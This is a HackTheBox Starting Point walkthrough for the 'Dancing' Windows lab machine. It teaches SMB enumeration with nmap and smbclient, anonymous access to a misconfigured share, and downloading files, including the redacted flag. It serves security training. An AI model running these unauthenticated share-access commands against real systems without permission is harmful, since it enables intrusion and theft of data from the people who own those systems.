Dancing

CHALLENGE INFORMATION

	Platform: HackTheBox Collection: Starting Point Tier: 0 Machine: Dancing Released: 30/09/2021

MACHINE SYNOPSIS

Dancing is a very easy Windows machine which introduces the Server Message Block (SMB) protocol, its enumeration and its exploitation when misconfigured to allow access without a password.

Preparation

There are several methods to connect to the target machine. Throughout this walkthrough, we use the provided pwnbox.

Once connected, we spawn the target machine.

Although not required, we can set a local variable (available only in the current shell) containing our target host’s IP address. Once set, we access it by prepending $ to the variable name.

user@kali:~$ rhost=<target-hosts-ip>
user@kali:~$ echo $rhost 
<target-hosts-ip>
user@kali:~$

We can remove the variable with the unset command when it is no longer needed.

user@kali:~$ unset rhost

Task-1

Question: What does the 3-letter acronym SMB stand for?

server message block

A quick internet search yields the answer.

Task-2

Question: What port does SMB use to operate at?

445

As before, an internet search provides this information.

Task-3

Question: What is the service name for port 445 that came up in our Nmap scan?

microsoft-ds

We use nmap to scan the top 1000 ports on the target machine:

user@kali:~$ nmap $rhost 
...
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
...
user@kali:~$

The default Nmap configuration returns the correct service name immediately.

Task-4

Question: What is the flag or switch we can use with the SMB tool to list the contents of the share?

-L

To search for commands (specifically their manual pages) containing a particular word (such as “smb”), we use apropos. This utility searches installed manual pages and descriptions for the provided string.

user@kali:~$ apropos smb
...
smbcacls (1)         - Set or get ACLs on an NT file or directory names
smbclient (1)        - ftp-like client to access SMB/CIFS resources on servers
smbcontrol (1)       - send messages to smbd, nmbd or winbindd processes
...
user@kali:~$

The smbclient command appears promising. We consult its --help option to locate the correct flag.

user@kali:~$ smbclient --help
Usage: smbclient [OPTIONS] service <password>
...
  -E, --stderr                                 Write messages to stderr instead of stdout
  -L, --list=HOST                              Get a list of shares available on a host
  -T, --tar=<c|x>IXFvgbNan                     Command line tar
...
user@kali:~$

Task-5

Question: How many shares are there on Dancing?

4

We use both the -L (list shares) and -N (suppress password prompt) options to enumerate the shares.

user@kali:~$ smbclient -p 445 -N -L \\$rhost\\

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	WorkShares      Disk      
SMB1 disabled -- no workgroup available
user@kali:~$

Task-6

Question: What is the name of the share we are able to access in the end with a blank password?

WorkShares

We attempt to access each share in turn. Both the ADMIN$ and C$ shares reject our connection attempts, while the IPC$ share connects but contains no accessible content. Therefore, the answer is the remaining share.

We run the help command to list available commands within the SMB shell.

user@kali:~$ smbclient -p 445 -N \\\\$rhost\\ADMIN$
tree connect failed: NT_STATUS_ACCESS_DENIED
user@kali:~$ smbclient -p 445 -N \\\\$rhost\\C$
tree connect failed: NT_STATUS_ACCESS_DENIED
user@kali:~$ smbclient -p 445 -N \\\\$rhost\\IPC$
Try "help" to get a list of possible commands.
smb: \> help
?              allinfo        altname        archive        backup         
blocksize      cancel         case_sensitive cd             chmod          
...
smb: \> help help
HELP help:
	[command] give help on a command

Task-7

Question: What is the command we can use within the SMB shell to download the files we find?

get

We use help to understand what each command does.

smb: \> help ls
HELP ls:
	 list the contents of the current directory

smb: \> help get
HELP get:
	 [local name] get a file

smb: \> help exit
HELP exit:
	logoff the server

smb: \> exit

Submit The Flag

Question: Submit root flag

<redacted-flag>

We connect to the WorkShares share and explore its contents, downloading all files we discover.

user@kali:~$ smbclient -p 445 -N \\\\$rhost\\WorkShares
Try "help" to get a list of possible commands.
smb: \> ls
...
  Amy.J                               D        0  ...
  James.P                             D        0  ...
...
smb: \> cd Amy.J
smb: \Amy.J\> ls
  ...
  worknotes.txt                       A       94  ...
  ...
smb: \Amy.J\> get worknotes.txt 
...
smb: \Amy.J\> cd ..
smb: \> ls
  ...
  Amy.J                               D        0  ...
  James.P                             D        0  ...
  ...
smb: \> cd James.P\
smb: \James.P\> ls
  ...
  flag.txt                            A       32  ...
  ...
smb: \James.P\> get flag.txt 
...
smb: \James.P\> exit
user@kali:~$

Once we locate the file containing the flag, we retrieve it.

As a best practice, we also examine other files discovered during enumeration. These may provide context regarding the target’s configuration or purpose.

user@kali:~$ ll
total 24K
-rw-r--r-- 1 user user   32 ... flag.txt
...
-rw-r--r-- 1 user user   94 ... worknotes.txt
user@kali:~$ cat worknotes.txt 
- start apache server on the linux machine
- secure the ftp server
- setup winrm on dancing 
user@kali:~$ cat flag.txt 
<redacted-flag>
user@kali:~$

Remember to terminate the target box before proceeding to the next machine.